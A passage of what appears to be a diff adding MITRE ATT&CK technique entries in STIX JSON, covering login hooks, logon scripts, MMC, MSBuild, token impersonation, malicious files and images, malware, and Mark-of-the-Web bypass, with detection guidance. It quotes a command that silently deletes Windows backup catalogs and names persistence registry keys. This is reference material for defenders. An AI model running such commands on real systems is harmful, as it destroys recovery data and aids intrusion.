user logs into a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike [Startup Items](https://attack.mitre.org/techniques/T1037/005), a login hook executes as the elevated root user.(Citation: creating login hook)\n\nAdversaries may use these login hooks to maintain persistence on a single system.(Citation: S1 macOs Persistence) Access to login hook scripts may allow an adversary to insert additional malicious code. There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1037/002", + "external_id": "T1037.002", + "source_name": "mitre-attack" + }, + { + "source_name": "creating login hook", + "description": "Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017.", + "url": "https://support.apple.com/de-at/HT2420" + }, + { + "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", + "description": "Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.", + "source_name": "S1 macOs Persistence" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Logon Script (Windows)", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Creation", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-24T23:45:03.153Z", + "created": "2020-01-10T03:43:37.211Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3", + "description": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\\Environment\\UserInitMprLogonScript.\n\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1037/001", + "external_id": "T1037.001", + "source_name": "mitre-attack" + }, + { + "source_name": "TechNet Logon Scripts", + "description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx" + }, + { + "url": "http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/", + "description": "Hexacorn. (2014, November 14). Beyond good ol\u2019 Run key, Part 18. Retrieved November 15, 2019.", + "source_name": "Hexacorn Logon Scripts" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "MMC", + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-16T00:13:18.889Z", + "created": "2021-09-28T01:36:41.638Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407", + "x_mitre_defense_bypassed": [ + "Application control", + "Digital Certificate Validation" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console, or MMC, is a signed Windows binary and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)", + "x_mitre_contributors": [ + "Wes Hurd" + ], + "x_mitre_detection": "Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. \n\nMonitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218/014", + "external_id": "T1218.014", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc", + "description": "Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021.", + "source_name": "win_mmc" + }, + { + "url": "https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console", + "description": "Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021.", + "source_name": "what_is_mmc" + }, + { + "url": "https://www.ghacks.net/2017/06/10/windows-msc-files-overview/", + "description": "Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021.", + "source_name": "win_msc_files_overview" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog", + "description": "Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021.", + "source_name": "win_wbadmin_delete_catalog" + }, + { + "url": "https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection ", + "description": "Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021.", + "source_name": "phobos_virustotal" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm", + "description": "Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021.", + "source_name": "win_clsid_key" + }, + { + "url": "https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/", + "description": "Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021.", + "source_name": "mmc_vulns" + }, + { + "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", + "description": "bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021.", + "source_name": "abusing_com_reg" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "MSBuild", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1127/001", + "external_id": "T1127.001", + "source_name": "mitre-attack" + }, + { + "source_name": "MSDN MSBuild", + "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.", + "url": "https://msdn.microsoft.com/library/dd393574.aspx" + }, + { + "url": "https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element", + "description": "Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021.", + "source_name": "Microsoft MSBuild Inline Tasks 2017" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Msbuild/", + "description": "LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Msbuild" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-15T23:57:07.973Z", + "x_mitre_system_requirements": [ + " .NET Framework version 4 or higher" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96", + "description": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)", + "x_mitre_contributors": [ + "@ionstorm", + "Carrie Roberts, @OrOneEqualsOne" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.", + "created": "2020-03-27T21:50:26.042Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-10-21T16:35:45.633Z", + "name": "Mail Protocols", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "created": "2020-03-15T16:21:45.131Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "description": "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1071/003", + "external_id": "T1071.003", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Make and Impersonate Token", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-02-18T18:03:37.481Z", + "created": "2020-02-18T18:03:37.481Z", + "id": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819", + "x_mitre_defense_bypassed": [ + "Windows User Account Control", + "System access controls", + "File system access controls" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.", + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1134/003", + "external_id": "T1134.003", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Command-line Logging", + "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", + "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Malicious File", + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-07-21T23:10:47.193Z", + "created": "2020-03-11T14:49:36.954Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.\n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1204/002", + "external_id": "T1204.002", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Malicious Image", + "x_mitre_data_sources": [ + "Container: Container Creation", + "Container: Container Start", + "Command: Command Execution", + "Image: Image Creation", + "Instance: Instance Creation", + "Instance: Instance Start", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-26T16:42:35.318Z", + "created": "2021-03-30T17:20:05.789Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "id": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec", + "x_mitre_platforms": [ + "IaaS", + "Containers" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Vishwas Manral, McAfee" + ], + "x_mitre_detection": "Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1204/003", + "external_id": "T1204.003", + "source_name": "mitre-attack" + }, + { + "url": "https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/", + "description": "Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021.", + "source_name": "Summit Route Malicious AMIs" + }, + { + "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation", + "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.", + "source_name": "Aqua Security Cloud Native Threat Report June 2021" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-11T14:43:31.706Z", + "name": "Malicious Link", + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content", + "File: File Creation" + ], + "x_mitre_version": "1.0", + "created": "2020-03-11T14:43:31.706Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "description": "An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_detection": "Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1204/001", + "external_id": "T1204.001", + "source_name": "mitre-attack" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-12-22T15:49:33.947Z", + "name": "Malicious Shell Modification", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1156", + "external_id": "T1156", + "source_name": "mitre-attack" + }, + { + "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/", + "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.", + "source_name": "intezer-kaiji-malware" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Malware", + "x_mitre_data_sources": [ + "Malware Repository: Malware Metadata", + "Malware Repository: Malware Content" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-17T16:05:41.186Z", + "created": "2020-10-01T01:33:01.433Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", + "description": "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1587/001", + "external_id": "T1587.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy" + }, + { + "url": "https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/", + "description": "Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.", + "source_name": "ActiveMalwareEnergy" + }, + { + "url": "https://www.losangeles.va.gov/documents/MI-000120-MW.pdf", + "description": "Federal Bureau of Investigation, Cyber Division. (2020, March 26). FIN7 Cyber Actors Targeting US Businesses Through USB Keystroke Injection Attacks. Retrieved October 14, 2020.", + "source_name": "FBI Flash FIN7 USB" + }, + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf", + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "source_name": "FireEye APT29" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Malware", + "x_mitre_data_sources": [ + "Malware Repository: Malware Metadata", + "Malware Repository: Malware Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:15:52.805Z", + "created": "2020-10-01T02:06:11.499Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970", + "description": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1588/001", + "external_id": "T1588.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop", + "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.", + "source_name": "FireEyeSupplyChain" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Mark-of-the-Web Bypass", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Metadata" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-13T22:47:08.289Z", + "created": "2021-02-22T14:20:31.650Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961", + "x_mitre_defense_bypassed": [ + "Anti-virus, Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)", + "x_mitre_contributors": [ + "Christiaan Beek, @ChristiaanBeek" + ], + "x_mitre_detection": "Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1553/005", + "external_id": "T1553.005", + "source_name": "mitre-attack" + }, + { + 